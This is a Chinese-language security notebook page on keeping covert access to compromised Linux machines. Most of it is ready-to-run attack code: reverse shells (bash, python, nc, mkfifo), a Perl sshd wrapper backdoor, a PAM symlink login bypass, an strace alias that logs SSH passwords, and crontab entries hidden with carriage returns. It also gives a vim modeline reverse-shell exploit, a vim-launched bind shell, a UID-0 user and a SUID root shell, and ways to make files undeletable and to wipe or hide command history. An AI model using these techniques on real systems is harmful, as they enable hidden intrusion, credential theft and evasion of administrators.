1. Linux权限维持

1.1. 自我总结

直接权限维持

  • 反弹shell
  • SSH
    • SSH warpper
    • SSH 软连接
    • SSH 公钥免密登陆
    • SSH Keylogger
    • strace监听ssh来源流量
  • Crontab
  • vim后门
  • 开机启动项 (自己想的不知道可不可以)
  • .bashrc (自己想的不知道可不可以)
  • 添加超级用户
  • SUID后门

间接辅助权限维持

  • cat缺陷
  • Linux/Unix 隐藏文件和文件夹
  • 参数混淆拦截rm
  • 删除/隐藏历史操作命令

拿到机器后可以查看一下有没有相关程序,反弹shell等进程能够被查到,这条命令可以简单的kill掉一些常见恶意程序。

批量kill可疑进程:

ps -ef |grep "python" |awk '{print $2}'|xargs kill -9
ps -ef |grep "bash -i" |awk '{print $2}'|xargs kill -9
ps -ef |grep "ew" |awk '{print $2}'|xargs kill -9

1.2. LINUX反弹shell

关于反弹原理,和每一步的数据流向在网上都有文章,就不复制了。这里只是用来总结下常规反弹shell的用法,顺便说下优点缺点。

bash -i >& /dev/tcp/127.0.0.1/6666 0>&1

优点:在大多数Liunx系统上都可以使用

缺点:在路由器系统中不存在bash,存在符号>、& 在反序列化中或者对符号转义的情况下就没有办法反弹了。

python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('127.0.0.1',6666));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

优点:在安装了python上的linux都可以使用,原理还是将标准输入、标准输出、标准错误输出重定向到远程。使用bash交互模式启动。

缺点:在路由器系统中不存在bash或者阉割了python库,存在符号>、& 、'、"在反序列化中或者对符号转义的情况下就没有办法反弹了。单双引号也会导致闭合问题。

nc -e /bin/bash 127.0.0.1 6666

一般Netcat有两个版本,一个版本是不提供反向连接的版本,一个是全功能版本。这两者的区别就是是否带-e参数,只有带-e参数的版本才支持反向连接。ubuntu 18.04安装的是不提供反向链接的版本。

wget https://sourceforge.net/projects/netcat/files/netcat/0.7.1/netcat-0.7.1.tar.gz
tar -zxvf netcat-0.7.1.tar.gz -C /usr/local
cd /usr/local
mv netcat-0.7.1 netcat
cd /usr/local/netcat
./configure
make && make install

优点:直接反弹,没有多余的符号。

缺点:系统apt默认安装的都是不提供反向链接的版本,需要自己上传编译后的二进制版本。

解决方法1:

nc 127.0.0.1 6666|/bin/bash|nc 127.0.0.1 7777

利用6666端口传入内容交给bash执行,再将内容从7777送出去,管道符的用法。可以在阉割功能的nc上使用。

解决方法2: (针对某些mips架构的路由器&busybox终端的系统):

# 锐捷
mkfifo /tmp/backpipe1 | /bin/sh 0</tmp/backpipe1 | nc 127.0.0.1 6666 1>/tmp/backpipe1

# 飞鱼星反弹shell
mkfifo /tmp/backpipe1 | /bin/sh 0</tmp/backpipe1 | /bin/busybox nc 127.0.0.1 6666 1>/tmp/backpipe1

1.3. SSH后门

1.3.1. SSH wrapper

判断连接来源端口,将恶意端口来源访问传输内容重定向到/bin/sh中。

cd /usr/sbin/
mv sshd ../bin
vim sshd # 编辑sshd内容为以下
#!/usr/bin/perl
exec"/bin/sh"if(getpeername(STDIN)=~/^..LF/); # \x00\x00LF是19526的大端形式
exec{"/usr/bin/sshd"}"/usr/sbin/sshd",@ARGV;
service sshd restart

在本机执行

socat STDIO TCP4:127.0.0.1:22,sourceport=19265

可以看到我利用socat限制了本地端口19526访问server的22端口反回一个sh窗。

修改端口可以修改..LF

import struct
buffer = struct.pack('>I6',19526)
print repr(buffer)

优点:

1、在无连接后门的情况下,管理员是看不到端口和进程的,last也查不到登陆。

2、在针对边界设备出网,内网linux服务器未出网的情况下,留这个后门可以随时管理内网linux服务器,还不会留下文件和恶意网络连接记录。

1.3.2. SSH 软连接后门

软连接后门的原理是利用了PAM配置文件的作用,将sshd文件软连接名称设置为su,这样应用在启动过程中他会去PAM配置文件夹中寻找是否存在对应名称的配置信息(su),然而su在pam_rootok只检测uid 0即可认证成功,这样就导致了可以使用任意密码登录。

ln -sf /usr/sbin/sshd /tmp/su
/tmp/su -oPort=888

优点:能够绕过一些网络设备的安全流量监测

缺点:本地在查看监听端口时会暴露端口,建议设置成8081,8080等端口。

1.3.3. SSH 公钥免密登陆

ssh-keygen -t rsa生成公钥

id_rsa.pub内容放到目标.ssh/authorized_keys

这个是老生常谈的公钥免登陆,这种用法不只是用在留后门,还可以在一些特殊情况下获取一个交互的shell,如struts写入公钥,oracle写入公钥连接等情景。

1.3.4. SSH Keylogger

利用strace系统调试工具获取ssh的读写连接的数据,以达到抓取管理员登陆其他机器的明文密码的作用。

在当前用户的.bashrc里新建一条alias、这样可以抓取他登陆其他机器的ssh密码。算是alias后门。后面会在讲一下alias后门。

alias ssh='strace -o /tmp/sshpwd-`date '+%d%h%m%s'`.log -e read,write,connect -s2048 ssh'

1.3.5. strace监听ssh来源流量

不只是可以监听连接他人,还可以用来抓到别人连入的密码。应用场景如:通过漏洞获取root权限,但是不知道明文密码在横向扩展中可以使用。

之前有用别名的方式来抓取登陆其他机器时的密码、同样也可以利用strace来监听登陆本地的sshd流量。

ps -ef | grep sshd #父进程PID

可以看到也能抓到写入密码。

Info:

https://www.jakoblell.com/blog/2014/05/07/hacking-contest-ssh-server-wrapper

https://www.freebuf.com/articles/system/178150.html

1.4. Cron后门

Cron介绍

在Linux系统中,计划任务一般是由cron承担,我们可以把cron设置为开机时自动启动。cron启动后,它会读取它的所有配置文件(全局性配置文件/etc/crontab,以及每个用户的计划任务配置文件),然后cron会根据命令和执行时间来按时来调用工作任务。

Cron后门

http://qqe2.com/cron cron表达式在线生成:

(crontab -l;echo '*/1 * * * * /bin/bash /tmp/1.elf;/bin/bash --noprofile -i')|crontab -

这样执行会在crontab列表里出现,如果是如上执行的话,管理员执行crontab -l就能看到执行的命令内容不是特别隐蔽。

那么就有了一个相对的高级用法,下面命令执行后会显示”no crontab for root”。其实就达到了一个隐藏的效果,这时候管理员如果执行crontab -l就会看到显示”no crontab for root”。

(crontab -l;printf "*/1 * * * * /bin/bash /tmp/1.elf;/bin/bash --noprofile -i;\rno crontab for `whoami`%100c\n")|crontab -

实际上是他将cron文件写到文件中。/var/spool/cron/crontabs/root 。而crontab -l就是列出了该文件的内容。

通常cat是看不到这个的,只能利用less或者vim看到,这也是利用了cat的一个缺陷,后面会讲到。

/etc/cron.d/ /etc/cron.daily/ /etc/cron.weekly/ /etc/cron.hourly/ /etc/cron.monthly/ 这几个路径都可以存放cron执行脚本,对应的时间不同。

1.4.1. hiding-from-cats

cat隐藏说明

刚刚在cron里面提到了cat的一个缺陷。可以利用这个缺陷隐藏恶意命令在一些脚本中。这里的示例我就用hiding-from-cats里的例子吧。之所以单列出来,个人认为在一些大型企业的运维工具脚本中可以插入恶意代码,利用cat的缺陷还可以使管理员无法发现脚本被做手脚。

cat其实默认使用是支持一些比如\r回车符 \n换行符 \f换页符、也就是这些符号导致的能够隐藏命令。

使用python生成带有换行符的内容sh:

cmd_h = "echo 'You forgot to check `cat -A`!' > oops" # hidden
cmd_v = "echo 'Hello world!'"                         # visible


with open("test.sh", "w") as f:
output = "#!/bin/sh\n"
output += cmd_h + ";" + cmd_v + " #\r" + cmd_v + " " * (len(cmd_h) + 3) + "\n"
f.write(output)

使用coderunner生成了一个test.sh脚本。cat看了下脚本的内容是echo一个hello world! 且同目录下只有他本文件。然后我们用sh test.sh执行后。

可以看到执行脚本后生成了一个oops文件,内容就是 You forgot to check cat -A! 其实可以看出来这样就做到了恶意命令隐藏的效果。其实之前Cron后门中的隐藏方法就是利用了这个。如果使用cat —A 查看root文件的话就可以看到计划任务的真正内容了。

1.5. vim后门

vim modeline CVE-2019-12735

该漏洞存在于编辑器的 modeline功能,部分 Linux 发行版默认启用了该功能,macOS 是没有默认启用。 当vim打开一个包含了vim modeline注释行的文件时,会自动读取这一行的参数配置并调整自己的设置到这个配置。vim默认关闭modeline。 开启:

vim ~/.vimrc
//文件内容为
set modeline
poc:
:!uname -a||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="

反弹shell:

:!rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 127.0.0.1 9999 >/tmp/f||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="

1.5.1. vim python扩展后门

适用于安装了vim且安装了python扩展(绝大版本默认安装)的linux系统。可以通过vim的pyfile来执行python脚本。这里我复现使用了docker centos 6.8,yum默认安装的vim。下面的pdf是发现者对外公开的思路:

https://github.com/jaredestroud/WOTD/blob/master/%5BDARK%5D%20Weapons%20of%20%20Text%20Destruction.pdf

这里我们使用一个python开启本地监听11端口的脚本。 POC:

#from https://www.leavesongs.com/PYTHON/python-shell-backdoor.html
from socket import *
import subprocess
import os, threading, sys, time
if __name__ == "__main__":
        server=socket(AF_INET,SOCK_STREAM)
        server.bind(('0.0.0.0',11))
        server.listen(5)
        print 'waiting for connect'
        talk, addr = server.accept()
        print 'connect from',addr
        proc = subprocess.Popen(["/bin/sh","-i"], stdin=talk,
                stdout=talk, stderr=talk, shell=True)
$(nohup vim -E -c "pyfile dir.py"> /dev/null 2>&1 &) && sleep 2 && rm -f dir.py

执行以后:

我在攻击机nc连接过去就可以了。

1.6. 添加超级用户

useradd guest;echo 'guest:123456'|chpasswd
useradd -p `openssl passwd 123456` guest
useradd -p "$(openssl passwd 123456)" guest
useradd newuwer;echo -e "123456n123456n" |passwd newuser

# 赋予root权限
echo "guest:x:0:0::/:/bin/sh" >> /etc/passwd
echo 'guest:123456'|chpasswd

1.7. SUID后门

当一个文件所属主的x标志位s(set uid简称suid)时,且所属主为root时,当执行该文件时,其实是以root身份执行的。必要条件:

  • SUID权限仅对二进制程序有效。
  • 执行者对于该程序需要具有x的可执行权限
  • 本权限仅在执行该程序的过程中有效
  • 在执行过程中执行者将具有该程序拥有者的权限

可以利用webshell进行利用

#vim suid.c
#include<stdlib.h>
main () {
setuid(0);
system("/bin/bash");
}
# 编译成二进制文件
gcc suid.c -o suidshell
# 赋予suid权限
chmod 4755 suidshell
chmod u+s suidshell
# 假设webshell权限较低,希望使用suid shell执行root命令,通过web的方式调用
# http://localhost/suid.php?path=/tmp/suidshell&cmd=id
# 即可以root的权限执行命令id

检测

查找具有suid权限的文件即可

find / -perm +4000 -ls
find / -perm -u=s -type f 2>/dev/null

清除

清除文件即可

1.8. Linux/Unix 隐藏文件和文件夹

建立隐藏文件/文件夹

touch .backdoor
mkdir .backdoor-file

经常使用linux中会知道每个目录下其实都有.和..、分别代指的是当前目录和上级目录。 建立...文件也是一个比较好的隐藏方法。

建立..文件/文件夹

echo 'whoami'  > ..\ \ \ \ # 注意最后一个转义符后有一个空格

bash ..\ \ \ \ \ # 这里也是多一个空格。

这样建立的文件/文件夹管理员不知道是使用了几个转义符建立的,所以通过rm+tab是无法删除的。而且我测试使用rm -rf ./*也无法删除。

1.9. 参数混淆拦截rm

使用echo等工具新建一个文件名是-rm的文件,这样删除的时候bash会认为-rm是rm的参数。

这样就可以阻止管理员去删除, 一般只有rm -- '-rm'才会删除掉。

但是如果管理员使用正常删除方式会报错。

可以用以下方法。

echo 123123123 > --

这样可以看到,命令执行了,文件没删除,命令也没有报错。类似的可以利用bash的\r缺陷,和管道符、重定向符之类的。

创建不能删除的文件(权限隐藏)

这个用法在ctf、awd中应用很多,使用chattr来给与隐藏权限。 这些权限需要使用lsattr这个命令才可以查看到,而如果要修改隐藏权限,则使用chattr这个命令来进行修改。

chattr +i hack.sh

无法删除。

1.10. 删除/隐藏历史操作命令

删除

删除通常使用两种方式:

  1. history -c
  2. rm -rf /root/.bash_history

建议使用第二种,第一种只是当前清除,并没有清除文件内容。

隐藏

隐藏命令的方式有很多,history 只会在会话结束时写入,所以只要会话还没有结束就可以想办法隐藏。比如同时开启两个终端,第一个终端启动vim编辑history文件,等第二个执行的都差不多了,结束会话后,在保存第一个,这样就覆盖了第二个终端所执行的命令。 这里我分享几个经常使用的隐藏历史命令的方法。

set +o history # 不会将任何当前会话写入日志。可以在会话期间任何时间运行,并隐藏所有命令。

export HISTIGNORE="*|*" //这条命令是不记录带有管道符的命令。

执行后命令可以echo 123123123 | whoami这样也可以做到隐藏命令的目的。

Info:

https://www.freebuf.com/vuls/205516.html

https://www.cnblogs.com/17bdw/p/10564902.html#label0_6_

1.11. 参考链接

https://mp.weixin.qq.com/s/B5cam9QN8eDHFuaFjBD34Q

https://mp.weixin.qq.com/s/-F_Ol-J-QfynOCYfD1nG3Q

https://www.secpulse.com/archives/100484.html

Copyright © d4m1ts 2022 all right reserved,powered by Gitbook该文章修订时间: 2022-01-08 18:29:59

results matching ""

    No results matching ""